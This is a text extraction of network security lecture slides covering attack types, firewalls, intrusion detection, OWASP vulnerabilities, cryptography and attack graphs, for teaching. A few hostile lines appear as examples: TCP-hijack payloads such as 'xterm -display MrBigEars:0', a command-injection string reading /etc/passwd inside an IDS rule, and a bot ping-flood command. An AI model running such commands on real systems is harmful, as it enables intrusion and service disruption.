• No results found

Network Security H B ACHARYA NETWORK SECURITY

N/A
N/A
Protected

Academic year: 2021

Share "Network Security H B ACHARYA NETWORK SECURITY"

Copied!
166
0
0

Loading.... (view fulltext now)

Full text

(1)

NETWORK SECURITY

Network Security

(2)

Day 1

The art of war teaches us to rely not on the likelihood of the enemy's not coming, but on our own readiness to

receive him;

not on the chance of his not attacking, but rather on the fact that we have made our position unassailable.

(3)

NETWORK SECURITY

A Few Terms

• potential for undesirable outcomes

THREAT

• mechanism by which loss can happen

VULNERABILITY

• deliberate assault on system

(4)

Security: Goals

To achieve particular (security) properties

in the presence of particular kinds and levels of threat. • What properties?

(5)

NETWORK SECURITY

(6)

Security

The protection afforded to an automated information system in order to attain the applicable objectives of preserving the integrity,

availability and confidentiality of information system resources (includes hardware, software, firmware, information/data, and

telecommunications)

(7)

NETWORK SECURITY

Aspects of Security

Consider the 3 aspects of information security:

Security attack

Security mechanism (control)

(8)

Security Requirements

Confidentiality Integrity Availability Authenticity Non-repudiation Authorization

(9)

NETWORK SECURITY

Security Requirements

Confidentiality:

Only authorized parties have read access to information

Integrity:

(10)

Security Requirements

Availability:

Authorized access to information when needed

Authenticity:

(11)

NETWORK SECURITY

Security Requirements

Non-repudiation:

Message exchange can be proved by sender and receiver

Authorization:

(12)

Security Requirements

Freshness:

(13)

NETWORK SECURITY

(14)

Passive Attacks

Release of message content (eavesdropping)

◦ Prevented by encryption

Traffic Analysis

◦ Fixed by traffic padding

(15)

NETWORK SECURITY

Active Attacks

Involve

modification

of the data stream, or

creation

of a

false data stream

(16)

Active Attacks (cont.)

Masquerade

Replay

Modification of messages

Denial of service

(17)

NETWORK SECURITY

Attack Frameworks

Attacks Physical Access Attacks -- Wiretapping Server Hacking Vandalism (Damage) Dialog Attacks -- Eavesdropping Impersonation Message Alteration Penetration Attacks (Access) Social Engineering -- Opening Attachments Password Theft Information Theft Scanning (Probing) Break-in Denial of Service (Rejection) Malware -- Viruses Worms

(18)

Eavesdropping

(19)

NETWORK SECURITY

Compromise the service

Confidentiality

Client PC

Bob Server

Alice Dialog

Attacker (Eve) intercepts and reads messages Hello

Hello

(20)

Encryption

Client PC

Bob Server Alice

“100100110001” Encrypted

Message “100100110001”

(21)

NETWORK SECURITY

15-441 Networks Fall 2002 21

Packet Sniffing

Recall how Ethernet works …

When someone wants to send a packet to some else …

They put the bits on the wire with the destination MAC address … And remember that other hosts are listening on the wire to detect

for collisions …

It couldn’t get any easier to figure out what data is being transmitted over the network!

(22)

Packet Sniffing

This works for wireless too!

(23)

NETWORK SECURITY 23

Packet Sniffing

What kinds of data can we get?

Asked another way, what kind of information would be most useful to a malicious user?

Answer: Anything in plain text ◦ Passwords are the most popular

(24)

Packet Sniffing

How can we protect ourselves?

Encryption!

SSH, not Telnet

(25)

NETWORK SECURITY 25

Packet Sniffing

HTTP over SSL

◦ Especially when making purchases with credit cards! SFTP, not FTP

Unless you really don’t care about the password or data ◦ Can also use KerbFTP

IPSec

(26)

Item of Special Interest: Keyloggers

What’s a Keylogger and how does it exploit a Web

Application?

◦ Downloaded unknowingly

◦ Resident on Personal Computers

◦ Captures User Activity

(27)

NETWORK SECURITY

Keylogger Mitigations

◦ Train users

◦ Implement effective Anti-Spyware, Anti-Virus ◦ Keep patches and versions current

◦ Firewall

◦ Automatic form filler programs ◦ Cut and paste

◦ One-time passwords ◦ Smartcards

◦ Virtual keyboards

(28)

Virtual Keyboard

Some of the features of Federal Student Aid’s Virtual Keyboard Include: ◦ Highly effective in evading true “Key Logging”

◦ Widely used by many financial institutions

◦ Low cost technology to deploy (even for 50 million users)

◦ Does not require any new hardware or software on client machines ◦ Can work in conjunction with the existing keyboard

◦ Keys can be entered by mouse click or by leaving mouse on the key for 2 seconds

(29)

NETWORK SECURITY

Item of Special Interest: WSNPOEM

WSNPOEM

◦ Variant of the Banker/InfoStealer/Bancos/Zbot family

◦ PWS-Banker.gen.bw by McAfee, Infostealer.Banker.C by Symantec, Trojan-Spy.Win32.Bancos.aam by Kaspersky, Mal/Zbot-A by Sophos ...

◦ How does it exploit a Web Application? ◦ WinInet interception

◦ In-process key-logging

(30)

Item of Special Interest WSNPOEM

How do we know about it:

◦ Since 2004 we have been receiving periodic files from US-CERT

◦ Now provided weekly

◦ Government wide concern Impact:

◦ > 22,000 unique compromised SSNs

(31)

NETWORK SECURITY

Item of Special Interest: WSNPOEM

Malware Occurances wsnpoem_v2 296475 wsnpoem_v3 394 wsnpoem_v6 15643 wsnpoem_v4 3447 wsnpoem 5019 haxdoor 4888 nethelper 4025 win32agent 3412 fireming 3063 silentbanker_v2 1583 passsickle 264 manda 259 nowhere 217 win32agent_v4 39 urlzone 6 31

The wsnpoem malware & variants make up 95% of the incidents captured in the US-CERT files

(32)

Item of Special Interest: WSNPOEM

What can be done at the application side?

◦ Require two factor authentication

◦ Virtual Keyboards, URL encoding, header encryption, shared keys, security questions, and images are all vulnerable to this type of attack

◦ Training and awareness for client side prevention

◦ Train those that are accessible

◦ Broadcast messages or post warnings on websites

What can be done at the client side?

(33)

NETWORK SECURITY

Modification

(34)

Modification

Compromise the service

Integrity

Client PC

Bob Server Alice

Dialog Balance = $1 Balance = Balance = $1,000,000

(35)

NETWORK SECURITY

Fabrication

(36)

Fabrication

Compromise the service

Authenticity

Client PC Attacker

I’m Bob

Prove it!

(Authenticate Yourself)

(37)

NETWORK SECURITY

Modification & Fabrication Defense

Secure Dialog

Client PC

Bob Server

Alice

Attacker cannot read messages, alter messages, or impersonate Automatically Handles

Negation of Security Options Authentication

Encryption Integrity

(38)

TCP Attacks

Recall how IP works…

◦ End hosts create IP packets and routers process them purely based on destination address alone

Problem: End hosts may lie about other fields which do not affect delivery

◦ Source address – host may trick destination into believing that the packet is from a trusted source

◦ Especially applications which use IP addresses as a simple authentication method ◦ Solution – use better authentication methods

(39)

NETWORK SECURITY 39

TCP Attacks

TCP connections have associated state ◦ Starting sequence numbers, port numbers

Problem – what if an attacker learns these values?

◦ Port numbers are sometimes well known to begin with (ex. HTTP port 80) ◦ Sequence numbers are sometimes chosen in very predictable ways

(40)

TCP Attacks

If an attacker learns the associated TCP state for the connection, then the connection can be hijacked!

Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source

◦ Ex. Instead of downloading and running new program, you download a virus and execute it

(41)

NETWORK SECURITY 41

TCP Attacks

(42)

TCP Attacks

(43)

NETWORK SECURITY 43

TCP Attacks

Mr. Big Ears lies on the path between Alice and Bob on the network ◦ He can intercept all of their packets

(44)

TCP Attacks

First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why?)

Packets

(45)

NETWORK SECURITY 45

TCP Attacks

Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network)

(46)

TCP Attacks

What if Mr. Big Ears is unable to sniff the packets between Alice and Bob?

◦ Can just DoS Alice instead of dropping her packets

◦ Can just send guesses of what the ISN is until it is accepted How do you know when the ISN is accepted?

◦ Mitnick: payload is “add self to .rhosts” ◦ Or, “xterm -display MrBigEars:0”

(47)

NETWORK SECURITY 47

TCP Attacks

Why are these types of TCP attacks so dangerous?

Web server

Malicious user

(48)

TCP Attacks

How do we prevent this? IPSec

◦ Provides source authentication, so Mr. Big Ears cannot pretend to be Alice ◦ Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without

(49)

NETWORK SECURITY

Service Disruption and Interruption

(50)

Service Disruption and Interruption

Compromise the service

Availability

Message Flood

Server Overloaded By Message Flood

(51)

NETWORK SECURITY

Non-repudiation

When sending/receiving messages,

both parties involved get evidence of the communication.

Later on, neither of them can successfully deny that the

(52)

Evidence is often in the form of signed messages, which provides guarantees concerning their originator.

Might also provide mechanisms to guarantee fairness.

No party should – at any step – have the evidence that they require

(53)

NETWORK SECURITY

The main objective of a non-repudiation protocol is thus that of creating the evidence for the parties involved.

1. Correctness will be concerned with the suitability of the evidence.

2. Analysis will need to take into consideration the fact that each party might have acted not in compliance with the protocol.

(54)

Anonymity

Seem like an unusual property for security protocols to ensure … Mostly required by malicious actions?

Nope!

Who else needs well-formed secured communication protocols? Whistle-blowers, anti-Government protesters

(55)

NETWORK SECURITY

Anonymity

Its main objective is that of protecting the identity of

agents with respect to particular events or messages.

◦ The messages need not be protected.

◦ The model separates:

1. the identity of the agents who sent a message

(56)

Common security attacks and their

countermeasures

Finding a way into the network

◦ Firewalls

Exploiting software bugs, buffer overflows

◦ Intrusion Detection Systems

Denial of Service

(57)

NETWORK SECURITY 58

Common security attacks and their

countermeasures

TCP hijacking

◦ IPSec

Packet sniffing

◦ Encryption (SSH, SSL, HTTPS)

Social problems

◦ Education

(58)

Minor Detour…

Say we got the /etc/passwd file from the IRIX server What can we do with it?

(59)

NETWORK SECURITY 60

Dictionary Attack

We can run a dictionary attack on the passwords

◦ The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash)

◦ Can take a dictionary of words, crypt() them all, and compare with the hashed passwords

This is why your passwords should be meaningless random junk! ◦ For example, “sdfo839f” is a good password

◦ That is not my andrew password

(60)

Denial of Service

Purpose: Make a network service unusable, usually by overloading the server or network

Many different kinds of DoS attacks ◦ SYN flooding

◦ SMURF

◦ Distributed attacks

(61)

NETWORK SECURITY 62

Denial of Service

SYN flooding attack

Send SYN packets with bogus source address

◦ Why?

Server responds with SYN ACK and keeps state about TCP half-open connection

◦ Eventually, server memory is exhausted with this state Solution: use “SYN cookies”

◦ In response to a SYN, create a special “cookie” for the connection, and forget everything else

◦ Then, can recreate the forgotten information when the ACK comes in from a legitimate connection

(62)

Denial of Service

SMURF

◦ Source IP address of a broadcast ping is forged

(63)

NETWORK SECURITY 64

Denial of Service

Internet

Perpetrator Victim

ICMP echo (spoofed source address of victim) Sent to IP broadcast address

(64)

Denial of Service

Distributed Denial of Service

◦ Same techniques as regular DoS, but on a much larger scale ◦ Example: Sub7Server Trojan and IRC bots

◦ Infect a large number of machines with a “zombie” program

◦ Zombie program logs into an IRC channel and awaits commands

◦ Example:

◦ Bot command: !p4 207.71.92.193

◦ Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 ◦ Sends 10,000 64k packets to the host (655MB!)

(65)

NETWORK SECURITY 66

Denial of Service

Mini Case Study – CodeRed

◦ July 19, 2001: over 359,000 computers infected in less than 14 hours ◦ Used a recently known buffer exploit in Microsoft IIS

(66)

Denial of Service

Why is this under the Denial of Service category?

◦ CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month!

(67)

NETWORK SECURITY 68

Denial of Service: Counter Measures

◦ Ingress filtering (RFC 2267)

◦ If a packet p comes in on an interface I,

and no known route to the source of p passes through I, drop p

◦ Stay on top of CERT advisories and security patches

(68)

Summary

Security Attacks

Security Attacks

(69)

Summary

Interruption: This is an attack on availability

Interception: This is an attack on confidentiality Modification: This is an attack on integrity

Fabrication: This is an attack on authenticity

(70)

Alert Ahead of Time!

(71)

NETWORK SECURITY

(72)

Firewalls

Basic problem – many network applications and protocols

have security problems that are fixed over time

◦ Difficult for users to keep up with changes and keep host secure

◦ Solution

◦ Administrators limit access to end hosts by using a firewall ◦ Firewall is kept up-to-date by administrators

(73)

NETWORK SECURITY 74

Firewalls

Like a castle with a drawbridge

◦ Only one point of access into the network

◦ This can be good or bad ◦ Easier to DOS

Can be hardware or software

◦ Ex. Some routers come with firewall functionality

◦ ipfw, ipchains, pf on Unix systems, Windows from XP onwards, and Mac OS X have built in firewalls

(74)

Firewalls

DMZ

Internet Fi rew a ll Fi rew a ll Web server, email server, web proxy, etc

(75)

NETWORK SECURITY 76

Firewalls

Used to filter packets based on a combination of features ◦ Simple, network-layer packet filtering firewalls

◦ man ipfw

e.g. Drop packets with destination port of 23 (Telnet)

Just turn Telnet off? ◦ On all devices …

(76)

Firewalls

Here is what a computer with a default Windows XP install looks like:

◦ 135/tcp open loc-srv ◦ 139/tcp open netbios-ssn ◦ 445/tcp open microsoft-ds ◦ 1025/tcp open NFS-or-IIS ◦ 3389/tcp open ms-term-serv ◦ 5000/tcp open UPnP

Might need some of these services, or might not be able to control all the machines on the network

(77)

NETWORK SECURITY 78

Firewalls

What does a firewall rule look like? ◦ Depends on the firewall used

Example: ipfw

◦ /sbin/ipfw add deny tcp from cracker.evil.org

to wolf.tambov.su telnet

Other examples: WinXP & Mac OS X have built in and third party firewalls

◦ Different graphical user interfaces

(78)

Network Penetration (Access) Attacks

and Firewalls

Attack Packet Internet Attacker Hardened Client PC Passed Packet Dropped Packet Internet Firewall

(79)

NETWORK SECURITY

Scanning (Probing) Attacks

Probe Packets to 172.16.99.1, 172.16.99.2, etc. Internet Attacker Corporate Network Host 172.16.99.1 No Host 172.16.99.2 No Reply Reply from 172.16.99.1 Results 172.16.99.1 is reachable 172.16.99.2 is not reachable …

(80)

Intrusion Detection

Used to monitor for “suspicious activity” on a network

◦ Can protect against known software exploits, like buffer overflows Open Source IDS: Snort, www.snort.org

(81)

NETWORK SECURITY 82

Intrusion Detection

Uses “intrusion signatures” ◦ Well known patterns of behavior

◦ Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc. Example

◦ IRIX vulnerability in webdist.cgi

◦ Can make a rule to drop packets containing the line

◦ “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”

However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring

(82)
(83)

NETWORK SECURITY

Definition

• Vulnerability : a weakness in a system which allows an attacker to

violate the integrity of that system.

– weak passwords

– software bugs

– a computer virus or other malware

– script code injection

(84)

Common Vulnerabilities and Exposures

http://cve.mitre.org/

◦ CVE is a list or dictionary that provides common names (and CVE numbers) for publicly known information security vulnerabilities

◦ e.g. CVE-2008-0075:

Unspecified vulnerability in Microsoft Internet Information Services (IIS) 5.1 through 6.0 allows remote attackers to execute arbitrary code via crafted inputs to ASP pages.

(85)

NETWORK SECURITY

Exploit

An exploit is a piece of software, a chunk of data, or sequence of commands that takes advantage of a vulnerability

in order to cause unintended or unanticipated behavior to occur on computer software & hardware.

Commonly categorized and named by the type of vulnerability they utilize: E.g.

SQL Injection Vulnerability  SQL Inj. Exploit Buffer Overflows Vulnerability  B.O. Exploit

(86)

OWASP Top 10 Security Vulnerabilities

1 - Cross Site Scripting (XSS) XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.

2 - Injection Flaws Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data.

3 - Malicious File Execution Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.

(87)

NETWORK SECURITY

OWASP Top 10 Security Vulnerabilities

4 - Insecure Direct Object Reference A direct object reference occurs when a developer exposes a

reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without

authorization.

5 - Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim's browser to send a

pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks.

6 - Information Leakage and Improper Error Handling Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data, or conduct more serious attacks.

(88)

OWASP Top 10 Security Vulnerabilities

7 - Broken Authentication and Session Management Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other

users' identities.

8 - Insecure Cryptographic Storage Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.

9 - Insecure Communications Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.

10 - Failure to Restrict URL Access Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access

(89)

NETWORK SECURITY

OWASP Top 1: Cross Site Scripting

◦ What is Cross Site Scripting?

◦ In it’s simplest form, it’s a process that can occur anywhere a web application uses input from a malicious user to generate output without validating or encoding the input.

◦ During a Cross Site Scripting attack, a malicious source sends a script that is executed by the end user’s

browser. It allows attackers to embed code from one webpage into another webpage by changing its HTML code.

◦ It’s been used to deface web sites, conduct phishing attacks, or it can take over a user’s browser and force them to execute commands they’re unaware of.

◦ Cross Site Scripting attacks usually come in the form of JavaScript however, any active content poses a potential danger.

◦ Prevention

◦ Validate the users input against what is expected

◦ Encode user supplied output

◦ After you believe you’ve done the right things during code development, inspect your code with a scan.

(90)

OWASP Top 2: Injection Flaws (SQL

Injection)

◦ What is SQL Injection

◦ SQL injection is the actual injection of SQL commands into web applications through user input fields.

◦ When an application uses internal SQL commands and you also have user input capabilities (like a login screen), SQL commands can be injected that can create, read, update, or delete any data available to the application.

◦ Prevention

◦ You can put tight constraints on user inputs. But the best method of preventing SQL injection is to avoid the use of dynamically generated SQL in your code. Instead use stored or canned

(91)

NETWORK SECURITY

OWASP Top 3: Malicious File Execution

◦ What is Malicious File Execution

◦ When Developers program applications to use input files provided by the user and the bad guy is the one entering the file, a malicious file is executed unknowingly, thus we have malicious file execution.

◦ Malicious file execution attacks can occur anytime the application accepts filenames or files from a users.

◦ When these files are executed, they can be used to do just about anything from stealing data to taking over the entire system.

◦ Prevention

◦ Strongly validate user input using "accept known good" as a strategy, or isolate incoming files and check them legitimacy before executing them.

◦ Disable certain PHP commands: I suggest that you visit the OWASP website to see what commands to disable.

(92)

OWASP Vulnerabilities: A Common Thread

Common theme: Applications with Dynamic code or user inputs have the most vulnerabilities!

But required for current, rich applications Building applications of that nature?

(93)

NETWORK SECURITY

SANS Top 20 Security Vulnerabilities

(94)
(95)

NETWORK SECURITY

National Vulnerability Database

In the near future, information warfare will control the form and

future of war... Our sights must not be fixed on the fire-power of the industrial age; rather, they must be trained on the information

warfare of the information age.

(96)
(97)

NETWORK SECURITY

Other Vulnerabilities

Code Mistakes

Untrained Users

Insecure Configuration Settings

(98)

Code Mistakes

Federal Student Aid has had Code Mistakes

◦ Implement Prevention in Code ◦ Thoroughly Test

◦ Use Tools

(99)

NETWORK SECURITY

Untrained Users

◦ Security ignorance compromises data

◦ Provide the training

◦ Rules of Behavior

◦ Annual refresher training

(100)

Insecure Configuration Settings

NIST, DISA, CIS vs. Business Needs

Builds

System Upgrades

Vulnerability Scans

(101)

NETWORK SECURITY

Item of Special Interest: FSA Actions

Revoke User Access

Notify User / School

Review Logs

Assist User / School Clean Computer

(102)

How Much Security is Enough?

Estimate: Cost vs. Risk

◦ Risk = Threat * Vulnerability

(103)

NETWORK SECURITY 104

Social Problems

People can be just as dangerous as unprotected computer

systems

◦ People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information

◦ Most humans will breakdown once they are at the “harmed” stage, unless they have been specially trained

(104)

Social Problems

Fun Example 1:

◦ “Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me”

(105)

NETWORK SECURITY 106

Social Problems

Fun Example 2:

◦ Someone calls you in the middle of the night

◦ “Have you been calling Egypt for the last six hours?” ◦ “No”

◦ “Well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about $2000 worth of charges on your card and … read off your AT&T card number and PIN and then I’ll get rid of the charge for you”

(106)

Social Problems

Fun Example 3:

◦ Who saw Office Space?

◦ In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems

from inside the company, where they had full access to the companies systems

(107)

NETWORK SECURITY 108

Social Problems

There aren’t always solutions to all of these problems

◦ Humans will continue to be tricked into giving out information they shouldn’t ◦ Educating them may help a little here, but, depending on how bad you want

the information, there are a lot of bad things you can do to get it

So, the best that can be done is to implement a wide variety of

solutions and more closely monitor who has access to what network resources and information

(108)

The Security Bias

The balance between the threat to a system and the

security services deployed is very Asymmetric:

You need to defend

each and every

aspect to be successful

(109)

Summary

The Internet works only because we implicitly trust one another

It is very easy to exploit this trust The same holds true for software

It is important to stay on top of the latest CERT security advisories to know how to patch any security holes

Conclusions

(110)
(111)

NETWORK SECURITY

The what

The scientific mix of mathematical theory and

computational application which allows the confidential

transfer of information.

(112)

Kerckhoff’s Principle

The philosophy of modern cryptoanalysis is embodied in the following principle formulated in 1883 by Jean Guillaume Hubert Victor Francois Alexandre Auguste

Kerckhoffs von Nieuwenhof (1835 - 1903).

The security of a cryptosystem must not depend on keeping secret the encryption algorithm. The security should depend only on

keeping secret the key.

(113)

NETWORK SECURITY

Paradoxes of modern cryptography

Positive results of modern cryptography are based on negative results

of complexity theory.

Computers that were designed originally for decryption seem to be now more useful for encryption.

(114)

Cryptosystems - ciphers

The cryptography deals the problem of sending a message (plaintext, cleartext), through a insecure channel, that may be tapped by an adversary (eavesdropper, cryptanalyst), to a legal receiver.

(115)

NETWORK SECURITY

Components of cryptosystems

Plaintext-space: P – a set of plaintexts over an alphabet

Cryptotext-space: C – a set of cryptotexts (ciphertexts) over alphabet Key-space: K – a set of keys

Each key k determines an encryption algorithm ek and an decryption algorithm dk

such that, for any plaintext w, ek (w) is the corresponding cryptotext and:

  e w

d

wk k wdkek w .

As encryption algorithms we can use also randomized algorithms. or

(116)

Requirements for good cryptosystems

1. Given 𝑒𝑘 and a plaintext 𝑘, it should be easy to compute 𝑐 = 𝑒𝑘(𝑤) . 2. Given 𝑑𝑘 and a cryptotext 𝑐, it should be easy to compute 𝑤 = 𝑑𝑘 𝑐 . 3. A cryptotext 𝑒𝑘(𝑤) should not be much longer than the plaintext 𝑤. 4. It should be unfeasible to determine 𝑤 from 𝑒𝑘(𝑤) without knowing 𝑑𝑘.

5. The so called avalanche effect should hold: A small change in the plaintext, or in the key, should lead to a big change in the cryptotext (i.e. a change of one bit of the plaintext should result in a change of all bits of the cryptotext, each with the probability close to 0.5).

6. The cryptosystem should not be closed under composition, i.e. not for every two keys 𝑘1, 𝑘2 there is a key 𝑘 such that

(117)

NETWORK SECURITY

Substitution Ciphers

A cipher that substitutes one character with another.

These can be as simple as swapping a list, or can be based on more complex rules.

(118)

Caesar ciphers

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z D E F G H I J K L M N O P Q R S T U V W X Y Z A B C

Substitute the letters in the second row for the letters in the top row to encrypt a message

Encrypt(COMPUTER) gives FRPSXWHU

Substitute the letters in the first row for the letters in the second row to decrypt a message

(119)

NETWORK SECURITY

Transposition Cipher

T O D A Y + I S + M O N D A Y

Write the letters in a row of five, using '+' as a blank. Encrypt by starting spiraling inward from the top left moving counter clockwise

Encrypt(TODAY IS MONDAY) gives T+ONDAYMYADOIS+

Decrypt by recreating the grid and reading the letters across the row

(120)

Encryption on computers

Roughly speaking, there are two different broad types of encryption that are used on computers today

◦ Symmetric encryption relies on keeping keys totally secret

◦ Asymmetric encryption actually publicizes one key, but keeps some information private also

Neither is really “better” - they just use different principles. In reality, both are vulnerable to attacks.

(121)

NETWORK SECURITY

Symmetric, or private key cryptography

Most common type is called a block cipher

◦ Processes the plaintext in fixed sizes blocks

Examples include DES, 3DES, and AES

All require a secret key which is known by both parties in the communication Main issue here: need to securely swap the key. How can we do this?

(122)

DES: Data Encryption Standard

Adopted 1977, National Bureau of Standards (now NIST)

• Divide message into blocks of 64 bits

• Take a key of 56 bits

(123)

NETWORK SECURITY

DES

In July 1998, DES was officially cracked by a machine built by the EFF ◦ Total cost: under $250,000

◦ Total time: 6-8 months

They then published the details of their approach, which essentially was a brute force attack

Note: 56 bits means 256 keys to try

Also, not as easy as just trying. What do you always do to files before sending them somewhere?

(124)

3DES

Effort to salvage DES.

Just repeat DES 3 times with different keys! ◦ Effectively DES, with key size 168 bits.

Still secure - brute force attacks take too long ◦ and that is the only way to attack this algorithm

(125)

NETWORK SECURITY

Advanced Encryption Standard (AES)

Designed in response to a call by NIST in 1998 Officially adopted in 2001

Block length is 128 bits, and keys can be 128, 192, or 256 bits. Essentially, proceeds in 4 rounds (which are repeated):

◦ Substitute bytes ◦ Permute

◦ Mix columns ◦ Add round key

(126)

Stage 1: substitute bytes

AES computes a matrix which maps every 8-bit value to a different 8-bit value

Computed using properties of finite fields (go take some math classes to learn more about this)

(127)

NETWORK SECURITY

Stage 2: permute

(128)

Stage 3: Mix columns

Here, the 4 bytes in each column are combined using a linear transformation

(129)

NETWORK SECURITY

Stage 4: Add round key

(130)

Public Key Cryptography

First revolution in cryptography in hundreds of years

Originally introduced in 1976 “New directions in cryptography” by Diffie and Hellman

(131)

NETWORK SECURITY

Public/Private Keys

Each user has two related keys ◦ one public and one private.

All public keys are distributed freely. Private key belongs only to user.

To ensure confidentiality: encrypt outgoing message using receiver's public key.

(132)

Basic operations

Logarithms: defined as the the exponent to which a fixed number, the base, must be raised to in order to produce that number

Examples:

◦ Log3 9 = 2, since 32 = 9

◦ Log101000 = 3, since 103 = 1000

◦ Log264 = 6, since 26 = 64

(133)

NETWORK SECURITY

Basic operations (cont)

Modulo operation: taking remainders

a mod b = remainder when a is divided by b Examples:

◦ 1 mod 3 = 1 ◦ 15 mod 10 = 5 ◦ 256 mod 2 = 0

(134)

Public and private keys

First, choose X, a secret key

Then choose Q = a prime number, and A = some other number Set Y = AX mod Q

(135)

NETWORK SECURITY

Public and private keys

Now publish Y, A, and Q, but keep X secret

Anyone knows that X = logA Y mod Q, but this is difficult to compute! This is called the discrete logarithm problem - very similar to

factoring in terms of difficulty, so no polynomial time algorithm is known.

Essentially, computing Y given X is easy, but computing X given Y is much harder.

(Go take number theory.)

(136)

How to encrypt

So I know X, Y, A, and Q (but you don’t know X). You get your own X’, and the tell me Y’=AX’ mod Q

We can now compute our own secret key (and use it for AES or some other algorithm)

◦ I will compute (Y’)X mod Q = (AX’)X mod Q

◦ You compute (Y)X’ mod Q = (AX)X’ mod Q

These are equal! But an eavesdropper can’t compute them, since they don’t have X or X’

(137)

NETWORK SECURITY

Attacks

One downside: this is less secure than pure symmetric encryption There are ways to attack this that do better than brute force

Number theory and group theory allow theoretical attacks that are provably better than exponential, but worse than polynomial time So it is NOT known if this problem is really hard! Someone could

(138)

RSA

In 1977, Rivest, Shamir, and Adleman came up with another way to use public key cryptography Rather than secure key exchanges, this one actually lets you encrypt whole messages

(139)

NETWORK SECURITY

How RSA works

Choose 2 prime numbers, p and q n = pq

(x) = # numbers less than x and relatively prime to x ◦ (That means numbers which have no common divisors.)

Note (n) = (p) (q) ◦ What is (p)? (q)?

(140)

RSA (cont.)

(n) = (p-1)(q-1)

• Hard to find if you don’t know p and q … easy if you do.

Pick any e > 1, relatively prime to (n) . This is your public key. Compute d, such that de = 1 mod (n). This is your private key.

◦ Example: Suppose e = 2, n = 11.

(141)

NETWORK SECURITY

Encrypting with RSA

Suppose I have a message m, as well as e and n. I compute c = me mod n, and send it to you.

You have d.

You can compute cd mod n = (me)d mod n = m1 mod n. For attacker, without d, this is not easy!

(142)

Ciphers

(143)

NETWORK SECURITY

Public/Private Keys: Other uses

Digital signature

Data that is appended to a message, made from the message itself and the sender's private key, to ensure the authenticity of the

message

Digital certificate

A representation of a sender's authenticated public key used to minimize malicious forgeries

(144)

Main types of cryptoanalytics attack

1. Cryptotexts-only attack: The cryptanalysts get cryptotexts

c1 = ek(w1),…, cn = ek(wn) and try to infer the key k or as many of the plaintexts w1,…, wn as possible.

2. Known-plaintexts attack

The cryptanalysts know some pairs wi, ek(wi), 1 ≤ i ≤ n, and try to infer k, or at least wn+1 for a new cryptotext many plaintexts ek(wn+1).

3. Chosen-plaintexts attack

(145)

NETWORK SECURITY

Main types of cryptoanalytics attack

4. Known-encryption-algorithm attack

The encryption algorithm ek is given and the cryptanalysts try to get the decryption algorithm dk.

5. Chosen-cryptotext attack

The cryptanalysts know some pairs

(ci , dk(ci)), 1 ≤ i ≤ n,

where the cryptotext ci have been chosen by the cryptanalysts. The aim is to determine the key. (For example, if cryptanalysts get a temporary access to decryption machinery.)

(146)

Summary

Cryptography

(147)

NETWORK SECURITY

(148)

Attack Graph

Attack graph is the data structure which is used to represent all possible attacks on a network

(149)

NETWORK SECURITY

(150)

Example of Attack Graph Developed by a Professional

Red Team

(151)

NETWORK SECURITY

Problem Statement

Problem: Generating attack graphs by hand is tedious, error-prone, and impractical for large systems.

Goal: Automate the generation and analysis of attack graphs.

◦ Generation

◦ Must be fast and completely automatic ◦ Must handle large, realistic examples

◦ Should guarantee properties of attack graphs ◦ Analysis

◦ Must enable security analysis by system administrators ◦ Should support incremental, partial specification

(152)

Automated Generation Procedure

XML spec for: network, vulnerability, connections, safety property…

NuSMV: symbolic model checkers, modified version, used to automatically produce AG

(153)

NETWORK SECURITY 4 hosts 30 actions 138 nodes 742 edges 6 minutes

 = Attacker gains root access to

(154)

A Graph Larger than Fits on Screen

 = Attacker gains root access to Host 1.

4 hosts 30 actions

larger initial state space 310 nodes

(155)

NETWORK SECURITY

An Illustrative Example

database attacker firewall Windows Linux Squid firewall IIS Web Server IDS LICQ Action Arsenal

IIS buffer overflow: remotely get root

Squid portscan: port scan

LICQ remote-to-user: gain user privileges remotely

IE scripting exploit: gain user privileges remotely

local buffer overflow: locally get root

Always Detected

Attack goal: disrupt the functioning of the database

(156)

Security Property

Attack graphs depict ways in which an intruder can force a network into an unsafe state:

(157)

NETWORK SECURITY

Example Attack Graph

database attacker firewall Windows Linux Squid firewall IIS Web Server IDS LICQ

(158)

Alternative Attack Scenario avoiding IDS

database attacker firewall Windows Linux Squid firewall IIS Web Server IDS LICQ

(159)

NETWORK SECURITY

Automated Analysis:

Single Action Removal

(160)

Automated Analysis:

Minimization Analyzer

What actions are necessary for the intruder to succeed?

◦ Given a fixed set of atomic attacks, not all of them may be available to the intruder ◦ Nondeterministically decide which subset of atomic attacks to choose initially

(161)

